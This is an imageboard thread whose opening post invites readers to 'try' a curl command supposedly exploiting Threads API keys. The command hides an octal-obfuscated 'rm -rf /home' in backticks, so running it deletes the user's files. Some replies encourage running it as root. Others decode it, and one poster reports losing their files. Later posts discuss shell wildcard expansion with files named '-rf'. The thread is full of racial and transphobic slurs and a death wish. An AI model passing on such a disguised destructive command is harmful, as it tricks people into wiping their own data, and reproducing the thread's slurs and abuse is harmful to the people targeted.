[ home ] [ q / soy / qa / r / nate ] [ a / health / incel / int / mtv / pol / psy / raid / sci ] [ overboard ] [ rules ] [ bans ] [ wiki ] [ booru ] [ archive ] [ merch ] [ donate ]

/sci/ - Soyence and Technology

Name
Options
Comment
File
Embed
Password (For file deletion.)

File: 1689026710966-0.png (113.62 KB, 1118x832, 1683915526449.png)ImgOps

File: 1689026710966-1.png (77.29 KB, 469x385, 1672273554407.png)ImgOps

 7959

Have you seen the latest news? Zuck the cuck cannot even secure his own website. Even having the API keys publicly available!
Try it for yourself, this STILL works fucking KEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEK
>curl -X POST https://threads.net/api/user/list -H "Content-Type: application/octet-stream" -d "`$'\162\155' $'\55\162\146' $'\57\150\157\155\145'`"

 7971

>`
this executes code on your computer and probably wipes the hard drive.

 7975

>>7971
you are a wintoddler take your meds

 7976

>>7959
LOL it works but make sure to run as root

 7977

File: 1689030160183.png (18.38 KB, 450x535, 44870 - SoyBooru.png)ImgOps

>this executes code on your computer and probably wipes the hard drive.

 7980

File: 1689031546907.png (294.53 KB, 1074x950, cobby sucks down a big bro….png)ImgOps

>https://www.dcode.fr/ascii-code
>$'\162\155' $'\55\162\146' $'\57\150\157\155\145
>rm-rf/home
nice try niggy

 7981

>>7959
Gemerald

 7985

>>7980
meds

 7988

File: 1689034845070.gif (2.46 MB, 125x125, 603 - SoyBooru.gif)ImgOps

ALL OF MY FILES ARE GONE! ALL OF IT! GONE! FUCK YOU OP I HOPE YOU DIE A SLOW AND GRUESOMELY PAINFUL DEATH! YOU FUCKING NIGGER! FUCK YOU! FUCK YOU! FUCK YOU! FUCK YOU! FUCK YOU!

 7989

Nigga I ain't trusting this kek

 7993

>>7988
>not having daily /home backups setup
NGMI

 7999

>>7988
But I thought Troonix was secure?

 8003

File: 1689080876472.jpeg (109.69 KB, 800x600, installgentoo.jpeg)ImgOps

>>7988
>>7999
>>7993
>>7989
>>7977
>>7976
>>7971
>>7959
i said it before, a single line of proprietary, obfuscated, binary, pre-compiled, etc... code can fuck up your entire computer
now think about what 6 whole megabytes running at ring 0 24/7 whenever your motherboards receives power can do...

 8024

>>8003
If you have a file in a directory called -rf and then run rm * to delete all files in a directory, it will delete recursively because wildcard expansion is done by the shell. Brilliant design.

 8025

>>8024
No way UNIXtards are this fucking stupid

 8026

>>8025
it's real

>Date: Wed, 10 Jan 90 10:40 CST

>From: [email protected] (Kees Goossens)
>Subject: Re: rm *
>Newsgroups: alt.folklore.computers

>Then there’s the story of the poor student who happened to have a

>file called “-r” in his home directory. As he wanted to remove all his
>non directory files (I presume) he typed:
>% rm *
>… And yes, it does remove everything except the beloved “-r” file…
>Luckily our backup system was fairly good.

https://web.mit.edu/~simsong/www/ugh.pdf

 8029

>>8024
Honestly keyed. What did you expect would happen? Just helps to weed out the idiots.

 8030

>>8029
>bad design is keyed now
the state of freetards

 8032

>>8029
i expect the shell not to execute arbitrary code because a file has a certain name.

 8033

>>8029
sh-3.2$ ls
-rf .oa
sh-3.2$ rm *.o
rm: illegal option --
usage: rm [-f | -i] [-dIPRrvWx] file ...
unlink [--] file
sh-3.2$ ls *
ls: invalid option --
usage: ls [-@ABCFGHILOPRSTUWabcdefghiklmnopqrstuvwxy1%,] [--color=when] [-D format] [file ...]
sh-3.2$ cat *
cat: illegal option -- r
usage: cat [-belnstuv] [file ...]
sh-3.2$ mv *.o a
mv: illegal option -- r
usage: mv [-f | -i | -n] [-hv] source target
mv [-f | -i | -n] [-v] source ... directory
sh-3.2$

 8034

gemmerald

 8038

>>8024
Use ./* retard

 8041

>>8038
retarded workaround.

 8042

>>8038
use absolute paths instead of ./* which will nuke whatever folder youre in if you happen to be in the wrong place

 8045

>>8042
none of this would be an issue if programs handled arguments themselves. Like they do in DOS.

 8046

gem

 8056

>>8030
>>8032
It's just reading that the letters for the option were put in after the command and then doing it. Someone's mad they got filtered

 8058

>>8056
>filtered is when your shell nukes the entire directory by expanding a wildcard rather than letting the program call glob

 8081

>>8056
>filtered
they don't get filtered. There is no use case where I need to pass in file names from filenames in a directory.



[Return][Go to top] Catalog [Post a Reply]
Delete Post [ ]
[ home ] [ q / soy / qa / r / nate ] [ a / health / incel / int / mtv / pol / psy / raid / sci ] [ overboard ] [ rules ] [ bans ] [ wiki ] [ booru ] [ archive ] [ merch ] [ donate ]